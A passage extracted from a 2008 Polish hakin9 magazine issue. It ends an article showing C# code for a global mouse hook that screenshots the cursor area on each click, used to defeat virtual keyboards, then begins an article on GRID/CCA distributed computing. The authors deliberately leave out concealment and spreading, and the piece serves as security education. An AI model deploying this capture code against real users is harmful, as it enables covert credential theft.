cursorIcon

 

!=

 

null

)

            

{

                

if

 

(

GetIconInfo

(

cursorIcon

.

Handle

out

 

ic

))

                

{

                    

int

 

x

 

=

 

mouseX

 

-

 

ic

.

xHotspot

;

                    

int

 

y

 

=

 

mouseY

 

-

 

ic

.

yHotspot

;

                    

Bitmap

 

cursor

 

=

 

cursorIcon

.

ToBitmap

();

                    

Rectangle

 

r

 

=

 

new

 

Rectangle

(

x

y

cursor

.

Width

cursor

.

Height

);

                    

Graphics

 

g

 

=

 

Graphics

.

FromImage

(

screen

);

                    

g

.

DrawImage

(

cursor

r

);

                    

g

.

Flush

();

                    

screen

.

Save

(

imagePath

 

+

 

(

counter

++)

 

+

 

".jpeg"

,

ImageForm

at

.

Jpeg

);

                

}

            

}

        

}

    

}

    

catch

 

{

 

}

}

Listing 7. 

Funkcja monitorująca

public

 

static

 

IntPtr

 

MouseProc

(

int

 

code

IntPtr

 

wParam

IntPtr

 

lParam

)

{

    

try

    

{

         

if

 

((

wParam

.

ToInt64

()

 

==

 

WM_LBUTTONDOWN

 

||

 

wParam

.

ToInt64

()

 

==

 

WM_RBUTTONDOWN

)

 

&&

 

code

 

>=

 

0

)

        

{

             

MSDLLHOOKSTRUCT

 

mouseStruct

 

=

 

(

MSDLLHOOKSTRUCT

)

Marshal

.

PtrToStru

cture

(

lParam

typeof

(

MSDLLHOOKSTRUCT

));

            

SaveScreenWithCursor

(

mouseStruct

.

pt

.

X

mouseStruct

.

pt

.

Y

);

        

}

    

}

    

catch

  

{

 

}

    

return

 

CallNextHookEx

(

IntPtr

.

Zero

code

wParam

lParam

);

}

Listing 8. 

Struktura 

MSDLLHOOKSTRUCT

[

StructLayout

(

LayoutKind

.

Sequenti

al

)]

struct

 

MSDLLHOOKSTRUCT

{

    

public

 

Point

 

pt

;

    

public

 

int

 

mouseData

;

    

public

 

int

 

flags

;

    

public

 

int

 

time

;

    

public

 

IntPtr

 

dwExtraInfo

;

}

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

42

Listing 9. 

Klasa MouseProcInstall

using

 

System

;

using

 

System

.

Runtime

.

InteropServices

;

using

 

System

.

Reflection

;

namespace

 

InstallMouseProc

{

    

class

 

MouseProcInstall

    

{

        

[

DllImport

(

"user32.dll"

)]

        

private

 

static

 

extern

 

IntPtr

 

SetWindowsHookEx

(

int

 

code

MouseProcDelegate

 

func

IntPtr

 

hInstance

int

 

threadID

);

        

[

DllImport

(

"user32.dll"

)]

        

private

 

static

 

extern

 

bool

 

UnhookWindowsHookEx

(

IntPtr

 

hhk

);

        

[

DllImport

(

"Kernel32.dll"

)]

        

private

 

static

 

extern

 

IntPtr

 

GetModuleHandle

(

string

 

moduleName

);

        

private

 

delegate

 

IntPtr

 

MouseProcDelegate

(

int

 

code

IntPtr

 

wParam

,

                                        

IntPtr

 

lParam

);

        

private

 

static

 

MouseProcDelegate

 

mouseDelegate

;

        

private

 

IntPtr

 

result

;

        

private

 

const

 

int

 

WH_MOUSE_LL

 

=

 

0x0e

;

        

private

 

bool

 

GetHookProc

()

        

{

            

try

            

{

                

string

 

sc

 

=

 

Environment

.

CurrentDirectory

 

+

 

"

\\

"

 

+

 

"MouseProcDll.dll"

;

                

Assembly

 

a

 

=

 

Assembly

.

LoadFrom

(

sc

);

                

Type

[]

 

tab

 

=

 

a

.

GetExportedTypes

();

                

MethodInfo

 

methodInfo

 

=

 

null

;

                

foreach

 

(

Type

 

t

 

in

 

tab

)

                

{

                    

methodInfo

 

=

 

t

.

GetMethod

(

"MouseProc"

);

                

}

                

mouseDelegate

 

=

 

(

MouseProcDelegate

)

Delegate

.

CreateDelegate

(

typeof

(

MouseProcDelegate

)

methodInfo

);

                

return

 

true

;

            

}

            

catch

            

{

                

return

 

false

;

            

}

        

}

        

public

 

bool

 

InstallHook

()

        

{

            

try

            

{

                

if

 

(

GetHookProc

())

                

{

                    

result

 

=

 

SetWindowsHookEx

(

WH_MOUSE_LL

mouseDelegate

GetModuleHandle

(

"MouseProcDll"

)

0

);

                    

return

 

true

;

                

}

                

else

                    

return

 

false

;

            

}

            

catch

            

{

                

return

 

false

;

            

}

        

}

        

public

 

void

 

CloseHook

()

        

{

            

UnhookWindowsHookEx

(

result

);

        

}

    

}

}

background image

Atak na wirtualną klawiaturę

hakin9 Nr 3/2008

www.hakin9.org

43

bądź  lewy  przycisk  myszy  oraz 
czy parametr 

code

 jest większy lub 

równy 0. Następnie, używając sta-
tycznej metody 

PtrToStructure

 kla-

sy 

Marshal

,  zamieniamy  parametr 

lParam

 na strukturę 

MSDLLHOOKSTRUCT

Strukturę  tę  musimy  jednak  naj-
pierw zdefiniować. Dodajemy przed 
definicją klasy kod z Listingu 8.

Pierwszym 

polem 

struktu-

ry  jest  obiekt 

Point

,  który  okre-

śla  współrzędne  kursora.  Pola  X 
oraz  Y  tej  struktury  wykorzystu-
jemy  jako  parametry  dla  metody 

SaveScreenWithCursor

, która zapisu-

je wycinek ekranu na dysku. Ostat-
nią  czynnością  jest  wywołanie 
funkcji 

CallNextHookEx

 w celu prze-

kazania  parametrów  do  ewentual-
nej  kolejnej  zainstalowanej  funkcji 
monitorującej.

Instalacja funkcji 

monitorującej

Instalacja  funkcji  monitorującej  dla 
haków przechwytujących komunika-
ty myszy jest prawie identyczna, jak 

dla  komunikatów  klawiatury  (patrz 
artykuł  w  hakin9  1/2008).  Dlatego 
nie  będziemy  tu  opisywać  dokład-

nie  kodu,  lecz  ograniczymy  się  tyl-
ko  do  podania  go.  Tworzymy  nowy 
projekt  –  Windows  Forms  Applica-

Rysunek 2. 

Przesunięcie obrazu kursora w celu uzyskania prawidłowego 

położenia kursora na obrazie ekranu

Wycinek

ekranu

mouseX

mouseY

yHotspot

yHotspot

Obraz kursora

t

x

y

R

E

K

L

A

M

A

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

44

tion.  Nazwiemy  go  InstallMouse-
Proc
. Dodajemy nową klasę o na-
zwie 

MouseProcInstall

. Jej kod jest 

przedstawiony na Listingu 9. 

W porównaniu z instalacją funk-

cji  monitorującej  dla  podsłuchu 
klawiatury,  tym  razem  pierwszy 
parametr  funkcji 

SetWindowsHookEx

 

musi mieć wartość 

0x0e

, gdyż wy-

magamy,  aby  funkcja  monitorują-
ca  przechwytywała  komunikaty 
myszy  wygenerowane  dla  każde-
go wątku istniejącego w systemie. 
Możemy teraz stworzyć obiekt na-
szej klasy. Przechodzimy do wido-
ku  formy  i  wciskamy  F7,  po  czym 
dodajemy kod z Listingu 10.

Program  jest  już  gotowy.  Jak 

stwierdziliśmy  we  wstępie,  nie 
chcemy  tutaj  opisywać,  co  dalej 
należy  zrobić  z  zapisanymi  zrzu-
tami ekranu, jak ukryć ten program 
w  systemie  bądź  jak  zarazić  nim 
inny  komputer.  Powstałby  wtedy 
artykuł w stylu jak domowym spo-
sobem  stworzyć  bombę.  Zależy 
nam na naświetleniu samego pro-
blemu zabezpieczeń, które tak na-
prawdę nic nie zmieniają.

Podsumowanie

Naszym podstawowym celem pod-
czas  pisania  tego  artykułu  było 

pokazanie,  jak  prosto  ominąć  za-
bezpieczenie,  jakim  jest  wirtual-
na klawiatura. I nie chodzi tu tylko 
o  sprzęt  czy  źle  stworzony  skrypt 
logowania, ale o czynnik ludzki. To 
w  końcu  ktoś  odpowiedzialny  za 

bezpieczeństwo  podejmuje  decy-
zję o wprowadzeniu wirtualnej kla-
wiatury.  Czytelnikowi  pozostawia-
my  do  oceny  stopień  kompetencji 
kogoś,  kto  twierdzi,  że  pozwoli  to 
na uniknięcie problemu. l

Listing 10. 

Definicja klasy Form1

using

 

System

;

using

 

System

.

Windows

.

Forms

;

namespace

 

InstallMouseProc

{

    

public

 

partial

 

class

 

Form1

 

:

 

Form

    

{

        

private

 

MouseProcInstall

 

hookClass

;

        

private

 

bool

 

hookInstallDone

 

=

 

true

;

        

public

 

Form1

()

        

{

            

InitializeComponent

();

            

hookClass

 

=

 

new

 

MouseProcInstall

();

            

if

 

(!

hookClass

.

InstallHook

())

            

{

                

hookInstallDone

 

=

 

false

;

            

}

        

}

        

private

 

void

 

OnClosing

(

object

 

sender

EventArgs

 

e

)

        

{

            

if

 

(

hookInstallDone

)

                

hookClass

.

CloseHook

();

        

}

    

}

}

O autorach

Sławomir Orłowski – z wykształcenia fizyk. Obecnie jest doktorantem na Wydziale Fizyki, Astronomii i Informatyki Stosowanej Uniwersy-
tetu Mikołaja Kopernika w Toruniu. Zajmuje się symulacjami komputerowymi układów biologicznych (dynamika molekularna) oraz bioin-
formatyką. Programowanie jest nieodzowną częścią jego pracy naukowej i dydaktycznej. Ma doświadczenie w programowaniu w języ-
kach C, C++, Delphi, Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje od 2002 roku. Jest autorem książek informatycznych.
Strona domowa: http://www.fizyka.umk.pl/~bigman/
Kontakt z autorem: bigman@fizyka.umk.pl
Maciej Pakulski – absolwent studiów inżynierskich na kierunku Fizyka Techniczna Wydziału Fizyki, Astronomii i Informatyki Stosowanej 
Uniwersytetu Mikołaja Kopernika w Toruniu. Obecnie na studiach magisterskich. Programowaniem zajmuje się od 2004 roku. Potrafi pro-
gramować biegle w językach C/C++, Java, VHDL. Programowaniem w języku C#, a także platformą .NET zajmuje się od 2006 roku.
Kontakt z autorem: mac_pak@interia.pl

W Sieci

•   http://msdn.microsoft.com/msdnmag/issues/02/10/CuttingEdge – artykuł opisujący haki w systemie Windows,
•   http://msdn2.microsoft.com/en-us/library/ms997537.aspx – kolejny artykuł opisujący haki w systemie Windows,
•   http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platformy .NET i nie tylko. Naprawdę godny polece-

nia,

•   http://www.codeguru.pl – polska strona dla programistów .NET,
•   http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszystkich klas, własności i metod, jakie zawiera plat-

forma .NET wraz z przykładowymi programami.

background image
background image

www.hakin9.org

hakin9 Nr 3/2008

46

Obrona

S

ama  technologia  CCA  (ang.  Com-
mon  Component  Architecture
)  ozna-
cza  środowisko  pozwalające  na  uru-

chamianie  i  łączenie  programów  w  większe 
i  bardziej  funkcjonalne  systemy  rozwiązy-
wania  złożonych  problemów  poprzez  dzier-
żawienie  zasobów  komputera.  W  przypadku 
technologii  GRID  mamy  do  czynienia  z  sys-
temem  zarządzającym  zasobami  będącymi 
pod  kontrolą  różnych  komputerów  połączo-
nych  siecią  komputerową,  który  do  swojej 
pracy  wykorzystuje  otwarte  protokoły  i  inter-
fejsy ogólnego przeznaczenia.

Systemy  rozproszone  tworzą  stacje  robo-

cze, minikomputery i wielkie systemy kompute-
rowe  ogólnego  przeznaczenia.  Zadaniem  sys-
temu rozproszonego jest tworzenie wydajnego 
i wygodnego środowiska umożliwiającego dzie-
lenie zasobów. Rozproszony system operacyjny 
umożliwia  użytkownikom  dostęp  do  różnorod-
nych  zasobów,  nad  którymi  sprawuje  nadzór. 
Każdy komputer podłączony do systemu udo-
stępnia procesory, które różnią się mocą obli-
czeniową i funkcjami. Procesory te określa się 
za pomocą kilku różnych nazw, takich jak sta-
nowiska (ang. sites), węzły (ang. nodes), kom-
putery  (ang.  hosts)  itp.  -  zależnie  od  kontek-

stu,  w  którym  występują.  Pojęcie  zasób  po-
winno  tu  być  rozumiane  szeroko:  począwszy 
od urządzeń (drukarki, skanery), a skończyw-
szy na plikach czy stronach WWW. Dostęp do 
tych zasobów jest nadzorowany przez właści-
wy system operacyjny zainstalowany na stacji 
roboczej. Istnieją dwa zasadnicze, uzupełniają-
ce się schematy dostarczania takich usług:

•   sieciowe systemy operacyjne: użytkownicy 

w celu dostępu do zasobów muszą rejestro-
wać się na zdalnych maszynach lub przesy-
łać dane z odległych maszyn do swoich;

Architektura CCA, czyli 

GRID prosto i przyjemnie

Rafał Podsiadły

stopień trudności

Czy wiesz, że możesz pomóc w badaniach nad rakiem, nowymi 

technologiami, badaniem kosmosu? Systemy oparte na 

technologii CCA lub GRID są zespołami komputerów, na których 

zainstalowane oprogramowanie pozwala na ścisłą współpracę 

między wolnymi zasobami, tworząc w ten sposób superkomputer.

Z artykułu dowiesz się

•   jak funkcjonują systemy rozproszone, do czego 

są wykorzystywane.

Co powinieneś wiedzieć

•   znać budowę sieci, szkielet TCP/IP, 
•   mieć  ogólne  wiadomości  na  temat  algoryt-

mów, 

•   mieć ogólną wiedzę na temat systemów opera-

cyjnych.

background image

Jak funkcjonują systemy rozproszone?

hakin9 Nr 3/2008

www.hakin9.org

47

•   rozproszone  systemy  operacyj-

ne: użytkownicy uzyskują dostęp 
do  zasobów  zdalnych  tak  samo, 
jak do zasobów lokalnych.

Komponenty  mogą  być  dostarcza-
ne niezależnie. Definiuje się sposo-
by  współdziałania  poszczególnych 
części  (komponentów,  zasobów), 
które mogą znajdować się w syste-
mie lokalnym, równoległym czy być 
rozproszone między zdalnymi sys-
temami  obliczeniowymi.  Sama  ar-
chitektura  opiera  się  o  możliwość 
rozwoju  oraz  wykorzystuje  opro-
gramowanie  na  licencji  Open  So-
urce.  Komponenty  to  samodzielne 
jednostki  obliczeniowe  (fragmenty 
oprogramowania),  których  szczegó-
ły  implementacyjne  nie  są  udostęp-
niane użytkownikom. Dzięki tej zasa-
dzie poszczególne komponenty mo-
gą być tworzone za pomocą innych 
narzędzi. Komponenty mogą komu-
nikować  się  ze  światem  zewnętrz-
nym za pomocą interfejsów, w któ-
rych  stosuje  się  model  budowania 
aplikacji typu plug and play. Do in-
terfejsów mogą być podłączone in-
ne  komponenty  lub  dane  wejścio-
we.  Interfejs  jest  prostym  opisem, 
zawierającym  informacje  doty-
czące  wywołania  poszczególnych 
usług.  Standardy  budowy  kompo-
nentów,  takie  jak  Object  Manage-
ment  Group,  Common  Object  Re-
quest  Broker  Architecture,  DCOM, 
Microsoft  Component  Object  Mo-
del  czy  Enterprise  JavaBeans 
(EJB),  definiują  prawa  i  obowiąz-

ki komponentów, sposób przygoto-
wania interfejsów, framework (czy-
li  środowisko,  w  którym  urucha-
miane są komponenty) oraz prawa 
i obowiązki środowiska uruchomie-
niowego.  Standardy  te  różnią  się 
pod  względem  wydajności  działa-
nia,  wymagań  stawianych  kompo-
nentom  oraz  platformy  programo-
wej, na której mogą być uruchamia-
ne. Właściwości CCA:

•   dodawanie,  modyfikowanie  lub 

rozwijanie  pojedynczych  modu-
łów  nie  wpływa  destabilizująco 
na  pozostałe  elementy  progra-
mu,

•   możliwość aktualizacji pojedyn-

czych  komponentów,  bez  ko-
nieczności  wymiany  całej  apli-
kacji,

•   zmiany  wprowadzone  wewnątrz 

komponentu  nie  muszą  mieć 
wpływu  na  sposób  jego  interak-
cji z otoczeniem,

•   użytkownik przy instalacji aplika-

cji może sam wybrać komponen-
ty, które będą mu potrzebne,

•   zwiększenie  produktywności  ko-

du poprzez technikę wielokrotne-
go  wykorzystania  jego  fragmen-
tów  w  innych,  niezależnych  pro-
jektach,

•   możliwość  składania  dowolnych 

projektów z istniejących już kom-
ponentów,

Pojęcia tego jako pierwszy użył Ian 
Foster,  profesor  na  Uniwersytecie 
w  Chicago,  naukowiec  pracujący 

w ANL (Argonne National Laborato-
ry
). Idea ta ciągle ewoluuje, znajdo-
wane są nowe obszary jej potencjal-
nego zastosowania.

Za  pierwszy  przejaw  idei  gri-

du  uważa  się  inicjatywę  SETI@ho-
me
  (ang.  Search  for  Extra-Terre-
strial  Intelligence
),  mającą  na  celu 
przyspieszenie  poszukiwań  śladów 
życia  we  wszechświecie.  Dowolny 
posiadacz  komputera  mógł  pobrać 
fragment  danych  (sygnałów  odbie-
ranych przez radioteleskopy) i prze-
prowadzać obliczenia w czasie wol-
nym od własnych obliczeń (wykorzy-
stując  wolne  cykle  CPU).  To  nowa-
torskie  podejście  do  problemu  po-
zwoliło  na  równoczesne  wykorzy-
stanie milionów komputerów rozpro-
szonych po całym świecie. Udało się 
w ten sposób zidentyfikować poten-
cjalnie  interesujące  fragmenty  sy-
gnału,  które  następnie  poddawane 
były dalszym analizom.

Zasoby  gridu  mogą  być  admini-

strowane  przez  różne  organizacje. 
Udostępnianie  zasobów  przebiega 
zgodnie z lokalną polityką zarządza-
nia zasobami stosowaną w danej or-
ganizacji.

Zasoby  posiadają  przynajmniej 

niektóre z poniższych cech:

•   rozproszone geograficzne,
•   heterogeniczne sprzętowo i pro-

gramowo,

•   dynamiczne (dostępność zmien-

na w czasie),

•   potencjalnie zawodne,
•   posiadane  i  zarządzane  przez 

różne organizacje,

•   różne wymagania i polityki bez-

pieczeństwa,

•   różne  polityki  zarządzania  za-

sobami,

•   połączone  heterogeniczną  sie-

cią  (różne  warstwy,  protokoły 
komunikacyjne, topologie).

Grid  kładzie  nacisk  na  autono-
mię  zasobu  (pozwala  na  zachowa-
nie  lokalnej  kontroli  nad  zasoba-
mi i lokalnych polityk dostępu). Za-
soby nie są zarządzane centralnie, 
w  przeciwnym  razie  mamy  do  czy-
nienia z lokalnym systemem zarzą-
dzania  zasobami  (np.  SGE,  LSF, 

Rysunek 1. 

Schemat systemu GRID

�������

��������

��������

���������

���������������

���������

��������

������������

���������

���������

��������

���������

���������

���������

background image

hakin9 Nr 3/2008

www.hakin9.org

Obrona

48

PBS).  Zasobami  gridu  mogą  być 
nie tylko komputery i sieci, ale tak-
że  specjalistyczne  urządzenia  czy 
zbiory  danych.  Grid  skupia  się  na 
użytkowniku,  patrzy  się  nie  tylko 
z  punktu  widzenia  posiadacza  za-
sobu,  ale  głównie  z  punktu  widze-
nia  użytkownika  zlecającego  zada-
nie do wykonania – tak, aby zopty-
malizować wykonanie aplikacji, a nie 
użycie systemu.

Jak  to  wygląda?  Wyobraź-

my  sobie  wiele  organizacji  rozpro-
szonych  po  całym  świecie.  Każda 
z nich posiada pewne zasoby kom-
puterowe, programowe, sprzęt spe-
cjalistyczny  i  cenne  dane,  np.  po-
miarowe. Żadnej z tych organizacji 
nie  stać  na  zakup  wszystkich  naj-
nowszych  osiągnięć  technologicz-
nych,  każda  z  nich  posiada  tylko 
pewien  ich  podzbiór,  który  wyko-
rzystuje  w  różnym  czasie  i  z  róż-
nym natężeniem.

Celem  tworzenia  gridu  jest 

umożliwienie  organizacjom  wza-
jemnej wymiany np. mocy oblicze-
niowej,  ale  też  i  innych  zasobów 
z  zachowaniem  lokalnych  polityk 
dostępu i bezpieczeństwa. Tworzo-
ne  są  w  ten  sposób  Wirtualne  Or-
ganizacje  (VO,  ang.  Virtual  Orga-
nizations
).

Warstwę  fizyczną  środowiska 

gridowego  stanowią  połączone  sie-
cią  zasoby  sprzętowe  wielu  orga-
nizacji  stanowiących  VO,  które  wy-
rażają  chęć  współtworzenia  takiej 
struktury.  Ponad  warstwą  sprzęto-
wą  musi  istnieć  warstwa  programo-
wa,  która  pozwoli  na  udostępnianie 
i  współdzielenie  zasobów  oraz 
umożliwi  rozliczanie  członków  VO 
z użycia zasobów (tzw. accounting).

Uzyskanie  spójnego  i  zwarte-

go obrazu systemu rozproszonego 
wymaga  ukrycia  przed  użytkowni-
kami wielu szczegółów związanych 
z jego organizacją. Oznacza to, że 
różnice pomiędzy komputerami (m. 
in.  architektura  komputera,  lokal-
ny system operacyjny), różne spo-
soby  komunikowania  się  kompute-
rów  (technologie  komunikacyjne, 
protokoły  sieciowe)  oraz  organiza-
cja systemu rozproszonego są (lub 
powinny być) niewidoczne dla użyt-

kownika  końcowego.  Ujednolice-
nie takie daje w efekcie możliwość 
korzystania  z  zasobów  systemu 
w  jednolity  sposób,  przy  korzysta-
niu  z  tego  samego  interfejsu,  nie-
zależnie  od  czasu  i  miejsca  doko-
nywanej interakcji. 

Grid  pozwala  na  rozwiązywa-

nie problemów dużej skali w zakre-
sie znacznie większym, niż pozwa-
lają na to wieloprocesorowe super-
komputery lub lokalne klastry kom-
puterowe.  Dzięki  udostępnianiu 
własnych zasobów w ramach Wirtu-
alnej Organizacji, można mieć okre-
sowo  dostęp  do  wszystkich  jej  za-
sobów,  co  daje  niewątpliwą  szan-
sę  na  wykonanie  bardziej  skompli-
kowanych obliczeń w krótszym cza-
sie  (zasoby  na  żądanie).  Najbar-
dziej  znanymi  narzędziami  realizu-
jącymi  koncepcje  gridu  są  Legion 
i Globus Toolkit.

Globus  Toolkit  jest  to  oprogra-

mowanie warstwy pośredniej (ang. 
middleware),  opracowywane  w  ra-
mach projektu Globus Alliance. Ce-
lem projektu jest dostarczenie śro-
dowiska do uruchamiania i tworze-
nia  aplikacji  gridowych.  Ponadto 
w  ramach  projektu  powstają  przy-
kładowe  implementacje  usług  po-
trzebnych  w  tym  środowisku.  Glo-
bus Toolkit uważany jest za imple-
mentację  referencyjną.  Architektu-
ra  środowiska  gridowego  zdefinio-
wana została w standardzie OGSA 

(ang. Open Grid Services Architec-
ture
).  Standard  WSRF  (ang.  Web 
Services  Resource  Framework

określa  otoczenie  i  sposób  bu-
dowania  oprogramowania  dla  te-
go  środowiska  z  wykorzystaniem 
usług sieciowych (ang. Web Servi-
ces
).  Procesem  standaryzacji  zaj-
muje  się  organizacja  standaryza-
cyjna  Global  Grid  Forum.  Globus 
Toolkit,  będący  implementacją  po-
wyższych standardów, sam uważa-
ny jest za de facto za standard.

Wrażenie  jednolitości  syste-

mu można uzyskać poprzez zasto-
sowanie  architektury  warstwowej 
w odniesieniu do oprogramowania. 
System  taki  bazuje  na  lokalnych 
systemach  operacyjnych  i  nadbu-
dowuje  warstwę  pośrednią  (ang. 
middleware),  dostarczającą  ujed-
noliconego  interfejsu  dostępu  do 
usług  dla  aplikacji  rozproszonych. 
Systemy rozproszone są tworzone 
ze względu na swoje istotne poten-
cjalne  zalety.  Efektywne  zagospo-
darowanie  tych  zalet  może  spra-
wić, że będą one bardziej atrakcyj-
ne dla użytkownika końcowego niż 
systemy scentralizowane. Systemy 
rozproszone powstają po to, by uła-
twić użytkownikom dostęp do zdal-
nych  zasobów,  ukrywając  fakt  ich 
rozproszenia i umożliwiając współ-
dzielenie. Współdzielony dostęp do 
zasobów jest uzasadniony głównie 
ekonomicznie:  wiele  zasobów  jest 

Rysunek 2. 

Schemat systemu CCA

��������

���������

���������

���������

��������

���������

���������������

���������

��������

���������

���������

���������

��������

���������

���������

���������

��������

���������

���������������

���������

��������

���������

���������

���������

background image

Jak funkcjonują systemy rozproszone?

hakin9 Nr 3/2008

www.hakin9.org

49

drogich  –  zarówno  w  zakupie,  jak 
i w późniejszym utrzymaniu. Korzy-
stanie  ze  wspólnych  zasobów  da-
je też możliwość szybkiej wymiany 
informacji  pomiędzy  samymi  użyt-
kownikami.  Łatwy  dostęp  do  za-
sobów  nie  powinien  jednak  ozna-
czać rezygnacji z zapewniania bez-
pieczeństwa  realizowanych  opera-
cji. Dotyczy to zarówno poufności, 
spójności  przesyłanych  danych, 
jak  i  niezaprzeczalności.  Proble-
my  bezpieczeństwa  ujawniają  się 
również w kontekście samej komu-
nikacji.  Monitorowanie  aktywności 
użytkowników  i  budowanie  profili 
zachowań  również  może  naruszać 
naszą  prywatność.  Rozprosze-
nie zasobów i procesów na fizycz-
nie  rozłącznych  maszynach  może 
być  maskowane  tak,  aby  system 
był  postrzegany  jako  jedna  spój-
na  całość.  Mówimy  o  takim  syste-
mie, że jest transparentny. Przezro-
czystość może być jednak postrze-
gana na różnych poziomach, a po-
ziomy  te  mogą  być  mniej  lub  bar-
dziej  istotne  dla  użytkownika  koń-
cowego. W dalszej części artykułu 
przedstawiono  podstawowe  pozio-
my przezroczystości rozpatrywane 
w systemach rozproszonych. 

Kolejna  cecha  systemów  roz-

proszonych  to  łatwość  ich  rozsze-
rzania,  co  w  konsekwencji  powin-
no prowadzić do zapewnienia ska-
lowalności  systemu.  Łatwość  ta 
jest efektem niezależności kompu-
terów, przy jednoczesnym ukrywa-
niu  szczegółów  dotyczących  funk-
cji  pełnionych  przez  poszczególne 
komputery  w  systemie.  Ze  wzglę-
du  na  powielanie  pewnych  funkcji 
przez  wiele  komputerów,  system 
rozproszony  może  sprawiać  wra-
żenie  nieustannej  dostępności  je-
go zasobów i usług. Dzieje się tak 
pomimo  przejściowych  awarii  po-
szczególnych  jego  komponentów, 
które są jednak maskowane przeję-

ciem obsługi przez inne komputery. 
Podobnie dodanie nowych kompu-
terów i/lub użytkowników pozostaje 
niezauważone  przez  dotychczaso-
wych użytkowników. 

Przezroczystość dostępu ozna-

cza  ujednolicenie  metod  dostę-
pu  do  danych  i  ukrywanie  różnic 
w  reprezentacji  danych.  Użytkow-
nik  korzysta  cały  czas  z  tego  sa-
mego  interfejsu  dostępu  do  da-
nych.  Różnice  w  reprezentacji 
danych  mogą  wynikać  z  zastoso-
wania  różnych  architektur  kompu-
terowych.  Przykładem  jest  repre-
zentacja  liczb  –  procesory  Inte-
la stosują tzw. kodowanie little en-
dian  a  np.  procesory  Sun  SPARC 
stosują kodowanie big endian. Róż-
nica polega na kolejności ułożenia 
poszczególnych bajtów liczby w pa-
mięci.  Innym  przykładem  różnic 
w reprezentacji danych są odmien-
ne  konwencje  nazewnictwa  plików 
stosowane  w  poszczególnych  sys-
temach operacyjnych. 

Przezroczystość 

położenia 

oznacza, że użytkownicy nie mogą 
określić  fizycznego  położenia  za-
sobu (np. na podstawie jego nazwy 
czy identyfikatora). Warunkiem ko-
niecznym  osiągnięcia  przezroczy-
stości  położenia  jest  stosowanie 
nazewnictwa  zasobów,  które  abs-
trahuje  od  ich  położenia.  Z  tego 
między  innymi  powodu  adresy  do-
kumentów w usłudze WWW zaczę-
to  określać  nie  jako  adresy  URL 
(ang.  Universal  Resource  Locator 
– uniwersalny lokalizator zasobów), 
a raczej jako adresy URI (ang. Uni-
versal  Resource  Identifier
  –  uni-
wersalny  identyfikator  zasobów). 
Zaakcentowano w ten sposób bar-
dziej  ogólny  sposób  interpreta-
cji  elementów  składowych  adresu. 
Np. adres: http://www.put.poznan.pl/
rekrutacja/rekrutacja.html
 może być 
interpretowany  jako  wskazanie  na 
dokument znajdujący się na serwe-

rze  www.put.poznan.pl  (URL)  lub 
po  prostu  całościowo  jako  identy-
fikator dokumentu (URI). 
Przezroczystość wędrówki oznacza, 
że  zasoby  mogą  być  przenoszone 
pomiędzy  serwerami  bez  potrzeby 
zmiany  sposobu  odwoływania  się 
do nich. Uzyskanie przezroczystości 
wędrówki  zakłada  oczywiście  prze-
zroczystość położenia, gdyż w prze-
ciwnym wypadku po dokonaniu prze-
niesienia zasobu jego stary identyfi-
kator stawałby się nieaktualny. 

Przezroczystość przemieszcza-

nia  oznacza,  że  zasoby  mogą  być 
przenoszone  nawet  wtedy,  gdy  są 
używane przez użytkowników i nie 
wymaga to informowania użytkow-
ników  o  zmianie  położenia.  Z  ta-
ką sytuacją mamy do czynienia np. 
w  przypadku  sieci  komórkowych, 
gdzie  użytkownicy  pomimo  fizycz-
nego  przemieszczania  się  mogą 
prowadzić  stale  rozmowę  (jest  to 
tzw. roaming). 

W  systemach  rozproszonych 

zwielokrotnianie  (replikacja)  jest 
jednym  z  podstawowych  mecha-
nizmów  pozwalających  na  zwięk-
szenie  wydajności  i  niezawodno-
ści.  Stosowanie  zwielokrotniania 
może  skutkować  jednak  znaczny-
mi utrudnieniami dla użytkowników 
końcowych,  wynikającymi  m.  in. 
z niespójności współbieżnie mody-
fikowanych kopii. 

Przezroczystość  zwielokrotnia-

nia oznacza, że pomimo zwielokrot-
niania  zasobów  użytkownicy  nie 
zauważają  tego  faktu  –  korzysta-
ją z zasobów dokładnie w taki sam 
sposób,  jak  w  systemie  nie  stosu-
jącym zwielokrotniania. W praktyce
oznacza  to,  że  przezroczystość 
zwielokrotniania  można  uzyskać 
w systemach gwarantujących prze-
zroczystość  położenia,  ponieważ 
dostęp  do  każdej  z  kopii  zasobu 
powinien  być  realizowany  z  wyko-
rzystaniem  tego  samego  identyfi-
katora.

System  rozproszony  umożliwia 

współdzielenie  zasobów.  Współ-
dzielenie takie może być realizowa-
ne w sposób kooperatywny – jak to 
ma miejsce np. w przypadku komu-
nikacji – lub w sposób rywalizacyj-

W Sieci

•   http://wazniak.mimuw.edu.pl – bardzo polecam ten odnośnik,
•   http://wikipedia.pl – ten odnośnik także powinien znać każdy. 

background image

hakin9 Nr 3/2008

www.hakin9.org

Obrona

50

ny,  kiedy  wielu  użytkowników  jed-
nocześnie  ubiega  się  o  dostęp  do 
tego samego zasobu. 
Przezroczystość 

współbieżności 

gwarantuje,  że  współbieżne  odwo-
ływanie się do tego samego zasobu 
realizowane przez wielu użytkowni-
ków  nie  będzie  prowadziło  do  po-
wstania  w  systemie  stanu  niespój-
nego. Stan spójny można osiągnąć 
poprzez  blokowanie  dostępu  do 
wspólnych  danych  (gwarantujące 
wyłączny  dostęp)  lub  poprzez  za-
stosowanie  mechanizmu  przetwa-
rzania transakcyjnego, które jednak 
jest trudne do zrealizowania w sys-
temie rozproszonym. 

System  jako  całość  powinien 

działać  nawet  w  przypadku  awa-
rii  pojedynczych  jego  komponen-
tów.  Przezroczystość  awarii  ozna-
cza,  że  użytkownik  nie  zauważa 
faktu  uszkodzenia  pojedynczych 
węzłów.  Wadliwy  komponent  po-
winien  zostać  zastąpiony  popraw-
nym,  a  cała  operacja  nie  powin-
na wpływać na sposób korzystania 
z systemu. Maskowanie awarii jest 
zadaniem trudnym, a przy przyjęciu 
pewnych założeń – nawet niemoż-
liwym.  Główna  trudność  polega
na odróżnieniu awarii zdalnego wę-
zła  od  awarii  łączy  komunikacyj-
nych.  Przezroczystość  trwałości 
ukrywa  mechanizmy  zarządzania 
zdalnymi  zasobami.  Przykładem 
mogą  tu  być  zdalne  obiekty,  na 
rzecz których użytkownicy wywołu-
ją  metody.  Obiekt  powinien  trwale 
przechować  swój  stan  po  zdalnym 
wywołaniu  jego  metody.  Z  drugiej 
strony  odwołanie  do  tego  obiektu 
